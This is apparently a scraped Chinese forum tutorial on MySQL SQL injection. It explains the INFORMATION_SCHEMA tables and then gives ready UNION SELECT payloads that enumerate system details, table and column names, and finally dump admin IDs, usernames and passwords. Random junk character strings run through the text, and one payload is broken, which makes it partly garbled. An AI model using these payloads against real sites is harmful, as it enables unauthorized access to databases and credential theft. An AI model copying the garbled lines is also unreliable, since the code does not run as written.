mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

! o2 x. V4 C# u- T学习盲注前先了解下 IFORMATION_SCHEMA 库
9 X: j. B' m  i0 k5 M
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
* S; z& Q" E, {- A* O2 o) e7 o1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
, q5 E( i6 v. ~" z  m|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
3 A7 c/ [( Q% l+ k$ S, s, W) l|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
) K- O# ^0 q, ?) T2 P& E
. C8 ~" }+ q2 t' o8 m1 R|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
: v) r  q  ?4 ]3 O4 S, Y|---字段：TABLE_NAME ->存储所属表的名称
- |4 e" z) H2 m
|---字段：COLUMN_NAME ->该字段的名称


6 |# R! @9 y! C% j9 S; u# w* S) c
6 o+ {3 n- y  H2 e  E8 `1 c' _3 z###########################################################################
! p% e% E: n4 y7 G  P
0x001 获取系统信息:
" {% T5 S, }* b0 ]
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
: [/ ]! D5 k+ [: \% D
/*
4 I7 B& ?# s0 R( _2 R, Z
@@global.version_compile_os 获取系统版本

, {# v; U; S  g8 O9 z. Z: x@@datadir 数据库路径
, @9 a/ w7 U( ^database() 当前数据库名称
- F$ F. Y4 B  E; }* b% y0x3c62723e 换行HEX值

# S8 x% ?& v  a( A*/
0 D$ V% }& U- j+ U
& f7 V3 X' {$ \9 P% f: W1 b
* H) D' j! d7 `6 E. m- ]
, K- C* g0 q4 ?5 _' k' p  V######################################################################
# i5 z& T5 l# u4 a  t4 j$ H
0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

3 F9 p. l( B2 t2 O) D
- W! }! L: ]8 z8 S+ X
/*
4 [  e$ z# M& C% l! ?4 ^0 r, L
0x67617264656e 为当前数据库名
' i8 J- g& B; P" y% h
! B8 J- F  I/ g1 P4 c; Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
- r5 h& W* H* p# ^2 B) U0 P
0 q: p/ P0 W& u( [! N######################################################################
3 Y9 G( ~4 B3 ~. @
( V' k. g/ e% H1 P8 n  A) S5 x

0x003 获取字段
  V# e+ o5 \0 X  d+ q
& c7 Q$ x! C( o" j+ i' {union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
* S; F# B% ?6 V( ~
) g! @$ T; F6 K/*
* Q5 M8 s  u4 ~. {1 i6 Q
4 I# _& w5 Y) H: W% Kgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

& }( r8 n9 k: y2 R: }0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################

5 D5 t; d, G& m2 d% D- B8 O

  N9 ~/ K' T' B) j4 R4 g# a, E0x004 获取数据
8 p+ P* m8 Y" @* h* u
# Y2 j; Y1 ~! u1 funion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
, d9 t1 ^7 a3 b7 X3 e+ T/ Q
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

9 P: }8 s# p! z- ^2 ^. O$ {1 |
) ?9 e* p# w( o8 S
/*
, q6 H$ @/ R9 _0 |
0x3c62723e 换行符号HEX编码

1 \' _( |2 h4 Fgroup_concat 同时获得该字段所有数据
7 q4 A* \; Z+ q( Y- R
*/
6 e/ \* ?' M- ?. d) m- c5 }5 l4 @
4 q+ r* B( }* @$ Q8 s